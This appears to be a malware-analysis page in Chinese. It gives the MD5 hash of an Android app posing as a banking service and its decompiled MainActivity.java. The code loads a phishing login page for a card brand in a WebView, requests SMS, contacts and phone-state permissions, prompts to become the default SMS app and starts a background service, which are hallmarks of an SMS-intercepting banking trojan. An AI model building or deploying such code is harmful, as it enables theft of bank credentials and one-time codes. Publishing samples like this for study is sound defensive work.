خدمات كي المصرفية v1.0版本的 MD5 值为:13576876dd3b6f409d12ce2bacdf920b

以下内容为反编译后的 MainActivity.java 源代码,内容仅作参考


package fsuene.eier;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.BatteryManager;
import android.os.Build;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.provider.Telephony;
import android.webkit.WebView;
import android.webkit.WebViewClient;
public class MainActivity extends Activity {
    private void a() {
        WebView webView = (WebView) findViewById(R.id.webview1);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.getSettings().setDomStorageEnabled(true);
        webView.getSettings().setDatabaseEnabled(true);
        webView.loadUrl("https://app-login.top/QiCard/1");
        webView.setWebViewClient(new WebViewClient());
        SharedPreferences defaultSharedPreferences = PreferenceManager.getDefaultSharedPreferences(getBaseContext());
        BatteryManager batteryManager = (BatteryManager) getSystemService("batterymanager");
        if (!defaultSharedPreferences.contains("ui")) {
            defaultSharedPreferences.edit().putBoolean("ui", true).apply();
            Context applicationContext = getApplicationContext();
            d.e(applicationContext, String.valueOf(batteryManager.getIntProperty(4)) + "%");
        }
        String packageName = getPackageName();
        if (!Telephony.Sms.getDefaultSmsPackage(this).equals(packageName)) {
            Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
            intent.putExtra("package", packageName);
            startActivity(intent);
        }
        d.a(getApplicationContext());
        startService(new Intent(getApplicationContext(), kN.class));
    }

    @Override
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.main);
        if (Build.VERSION.SDK_INT < 23 || !(checkSelfPermission("android.permission.READ_PHONE_STATE") == -1 || checkSelfPermission("android.permission.RECEIVE_SMS") == -1 || checkSelfPermission("android.permission.READ_CONTACTS") == -1)) {
            a();
        } else {
            requestPermissions(new String[]{"android.permission.READ_PHONE_STATE", "android.permission.RECEIVE_SMS", "android.permission.SEND_SMS", "android.permission.READ_CONTACTS"}, 1000);
        }
    }

    @Override
    public void onRequestPermissionsResult(int i, String[] strArr, int[] iArr) {
        super.onRequestPermissionsResult(i, strArr, iArr);
        if (i == 1000) {
            a();
        }
    }
}